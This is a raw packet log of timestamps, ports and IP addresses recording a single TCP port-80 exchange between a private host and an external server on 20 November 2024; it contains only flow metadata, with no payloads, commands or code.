Nov 20, 2024 13:27:34.500046015 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500056982 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500057936 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.500067949 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500077963 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.500077963 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500088930 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500125885 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.500128984 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500142097 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500152111 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500161886 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500169039 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.500174046 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500185966 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500200033 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500206947 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.500211000 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500222921 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500236034 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500236988 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.500252962 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.500252962 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500276089 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500277042 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.500287056 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500298023 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500308990 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.500332117 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.500377893 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500389099 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500400066 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500411987 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500422955 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500433922 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500444889 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500446081 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.500456095 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500463009 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.500467062 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500478983 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500490904 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500493050 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.500510931 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500514984 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.500521898 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500534058 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500540018 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500550032 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500556946 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.500560999 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500580072 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500583887 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.500591040 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500601053 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500611067 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500618935 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.500622034 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500632048 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500643015 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500653028 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.500654936 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500665903 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500672102 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.500678062 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500689983 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500689983 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.500727892 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.500922918 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500933886 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500943899 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500955105 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500962019 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.500966072 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500977039 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500988007 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.500996113 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.500998974 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501009941 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.501013041 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501024008 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501034975 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501039982 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.501044989 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501056910 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501060009 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.501077890 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.501079082 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501091003 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501102924 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501115084 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.501121044 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501132011 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.501132965 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501144886 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501156092 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501169920 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501179934 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501187086 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.501190901 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501203060 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501209021 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.501214027 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501229048 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501240015 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501244068 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.501250982 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501262903 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501272917 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501274109 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.501286983 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.501287937 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501312017 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.501522064 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501533985 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501553059 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501564026 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.501566887 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501576900 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501588106 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501595974 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.501597881 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501607895 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501619101 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501621008 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.501631021 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501643896 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.501647949 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501660109 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501661062 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.501677036 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501686096 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.501688957 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501694918 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501701117 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501712084 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501723051 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501730919 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.501734972 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501744986 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501754045 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.501758099 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501770973 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.501780987 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501792908 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501797915 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.501805067 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501816988 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501827002 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.501830101 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.501842976 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.547653913 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:34.766468048 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:34.767059088 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.223526001 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.223643064 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.493202925 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.499005079 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499021053 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499032974 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499078035 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499089003 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.499089956 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499103069 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499114990 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499126911 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499159098 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.499209881 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499222040 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499232054 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499243975 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499249935 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.499255896 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499268055 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499279976 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499284029 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.499291897 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499305010 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499321938 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.499321938 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.499353886 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499366045 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499376059 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499377966 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.499387980 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499398947 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499413967 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.499414921 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.499470949 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.499540091 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499552011 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499562025 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499573946 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499584913 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499596119 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499607086 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499618053 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499629021 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499640942 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499644995 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.499644995 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.499651909 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499664068 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499675035 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499686956 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499695063 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.499695063 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.499731064 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.499924898 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499937057 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499947071 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499958038 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499968052 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499979973 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499990940 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.499991894 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500003099 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500015974 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500015974 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500015974 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500026941 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500037909 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500041008 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500047922 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500060081 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500077963 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500087976 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500094891 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500107050 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500114918 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500114918 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500121117 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500133038 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500143051 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500144005 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500154972 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500166893 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500176907 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500186920 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500194073 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500199080 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500210047 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500216007 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500217915 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500222921 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500230074 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500235081 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500241041 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500255108 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500260115 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500268936 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500282049 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500282049 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500282049 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500397921 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500494957 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500505924 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500554085 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500655890 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500668049 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500679016 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500689983 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500701904 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500713110 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500724077 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500735998 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500746012 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500746012 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500757933 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500768900 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500780106 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500798941 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500802040 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500802040 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500811100 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500825882 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500835896 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500835896 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500850916 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500861883 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500871897 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500884056 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500890970 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500896931 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500910044 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500911951 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500921011 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500927925 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500933886 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500943899 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500946045 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500946045 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500955105 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500967979 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.500968933 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.500979900 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501019001 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.501019001 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.501064062 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.501199961 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501211882 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501221895 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501234055 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501245975 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501256943 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501270056 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501274109 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.501323938 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.501323938 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.501346111 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501358032 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501368999 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501379967 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501390934 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501391888 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.501403093 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501415968 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501427889 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501436949 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.501436949 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.501440048 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501451969 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501456976 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501456976 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.501470089 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501487970 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501498938 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501508951 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501513004 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.501513004 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.501521111 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501533031 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501544952 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501544952 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.501544952 CET	49716	80	192.168.2.8	185.215.113.16
Nov 20, 2024 13:27:35.501559973 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501573086 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501584053 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501595020 CET	80	49716	185.215.113.16	192.168.2.8
Nov 20, 2024 13:27:35.501605988 CET	80	49716	185.215.113.16	192.168.2.8
